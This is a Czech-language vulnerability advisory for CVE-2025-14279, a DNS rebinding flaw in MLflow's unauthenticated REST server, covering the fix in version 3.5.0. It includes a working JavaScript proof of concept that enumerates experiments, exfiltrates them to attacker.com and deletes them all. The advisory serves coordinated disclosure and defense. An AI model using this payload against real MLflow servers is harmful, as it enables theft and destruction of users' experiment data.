Exfiltrace a zničení dat v MLflow kvůli chybějící validaci Origin (DNS rebinding)
Autor: Evan Harris
Riziko: Vysoké (CVSS 8.1, CVE-2025-14279)
Dotčená komponenta: REST server MLflow (mlflow/mlflow), verze až do 3.4.0 včetně
Ve zkratce
REST server MLflow nevalidoval u příchozích požadavků hlavičku Origin ani hlavičku Host, čímž zůstával otevřený útoku DNS rebinding. Oběti, která lokálně spustí mlflow server a poté navštíví škodlivou webovou stránku, se může prohlížeč proměnit v proxy, jež dosáhne na rozhraní loopback a obejde přitom Same-Origin Policy. Protože REST API nemá žádnou autentizaci, útočník získá plný přístup pro čtení i zápis: může vyjmenovat experimenty, exfiltrovat data na externí hostitel a experimenty zcela smazat. Problém dostal označení CVE-2025-14279 (CVSS 8.1, vysoké) a byl opraven v MLflow 3.5.0, jež doplňuje validaci hlavičky Host a blokování cross-origin požadavků. Uživatelé by měli aktualizovat na verzi 3.5.0 nebo novější.
Stejným způsobem selhávají i další nástroje popsané na tomto webu: Zranitelnost DNS rebinding v transportu SSE serveru Vet MCP a Neo4j MCP Cypher Server je zranitelný převzetím databáze pomocí DNS rebindingu. Samostatný problém v MLflow, zveřejněný téhož dne, popisuje Vzdálené spuštění kódu prostřednictvím deserializace GenAI scorerů v MLflow.
Souvislosti
Tracking server MLflow vystavuje REST API (obvykle na http://localhost:5000), které webové rozhraní a klientské knihovny používají k vytváření, vyhledávání, aktualizaci a mazání experimentů a běhů. Ve výchozím nastavení server běží bez autentizace, s předpokladem, že navázání na localhost jej udržuje soukromým.
Tento předpoklad selhává při DNS rebindingu. Same-Origin Policy prohlížeče má zabránit tomu, aby stránka doručená z attacker.com četla odpovědi z localhost:5000, ale rebinding ji obchází tím, že po načtení stránky změní, na co se hostname překládá. Protože server MLflow přijímal požadavky bez kontroly jejich původu, mohla lokální API ovládat jakákoli webová stránka, kterou oběť navštívila.
Přehled
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Scénář útoku
- Oběť naklonuje MLflow a lokálně spustí server s výchozí konfigurací (
mlflow server), přičemž po cestě vytvoří několik experimentů. - Útočník postaví laboratoř pro DNS rebinding, například Singularity of Origin od NCC Group, a vloží níže uvedený payload do adresáře payloadů daného frameworku.
- Oběť navštíví útočníkovu webovou stránku a setrvá na ní dostatečně dlouho (méně než minutu), aby k přesměrování došlo.
- Útočníkův DNS server nejprve přeloží hostname na svou vlastní IP, aby se payload načetl, a na pozdější dotazy pak odpovídá
127.0.0.1. Prohlížeč použije název z cache znovu, takže volánífetchna stránce se tiše přesměrují nalocalhost:5000, přičemž si ponechají původní origin. - Protože server MLflow neprovádí žádnou validaci Origin ani Host, požadavky uspějí. Útočník vyjmenuje experimenty, odešle data na
attacker.coma experimenty smaže.
Proof of Concept
Níže uvedený payload se zaregistruje u frameworku pro DNS rebinding. Identifikuje cíl jako server MLflow, vyjmenuje experimenty přes neautentizované REST API, exfiltruje výsledky na hostitele ovládaného útočníkem a poté každý experiment smaže. Původní proof of concept je zde zhuštěn na své funkční kroky.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Dopad
- Exfiltrace dat: metadata experimentů se čtou přes
experiments/searcha odesílají se na hostitele ovládaného útočníkem. - Zničení dat: experimenty se mažou přes
experiments/delete. - Manipulace s daty: stejný neautentizovaný přístup pro zápis umožňuje i aktualizační operace nad experimenty.
- Nejsou potřeba žádné přihlašovací údaje: útok funguje proti výchozímu nasazení
mlflow servera vyžaduje pouze, aby oběť navštívila škodlivou stránku, zatímco server běží.
Reakce MLflow
Poté co jsme problém nahlásili prostřednictvím procesu koordinovaného zveřejnění MLflow, správci jej vyřešili v pull requestu #17910.
Oprava zavádí pro server bezpečnostní vrstvu middleware, která:
- Validuje hlavičku
Hostproti seznamu povolených hodnot (ve výchozím nastavení localhost a rozsahy privátních IP), aby zablokovala DNS rebinding. - Blokuje cross-origin požadavky měnící stav (POST, PUT, DELETE, PATCH) přicházející z jiných než localhost originů.
- Přidává obranné hlavičky odpovědí (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
Pro nasazení, která legitimně potřebují širší přístup, je k dispozici nová konfigurace, včetně --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) a --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Ochrany byly dodány v MLflow 3.5.0 a problému bylo později přiděleno CVE-2025-14279 (CVSS 8.1, vysoké; CWE-346, Origin Validation Error).
Doporučení
Pro koncové uživatele
- Aktualizujte na MLflow 3.5.0 nebo novější.
- Ponechte výchozí nastavení
--allowed-hostsa--cors-allowed-origins, pokud nemáte konkrétní důvod je rozšířit, a nikdy nevypínejte bezpečnostní middleware na vystaveném serveru. - Nenavazujte server MLflow na veřejnou nebo nedůvěryhodnou síť a předřaďte před něj autentizaci nebo reverzní proxy, pokud musí být dosažitelný i mimo localhost.
- Považujte lokálně navázaný server za dosažitelný z prohlížeče: při procházení nedůvěryhodných stránek zavřete nebo izolujte lokální instance MLflow.
Časová osa
| Datum | Událost |
|---|---|
| 22. září 2025 | Zranitelnost nahlášena správcům MLflow prostřednictvím koordinovaného zveřejnění (issue #17877) |
| 6. října 2025 | MLflow začleňuje opravu (PR #17910), vydáno ve verzi v3.5.0 |
| 12. ledna 2026 | Zveřejněno CVE-2025-14279 (CVSS 8.1, vysoké) |
| 8. června 2026 | Veřejné zveřejnění |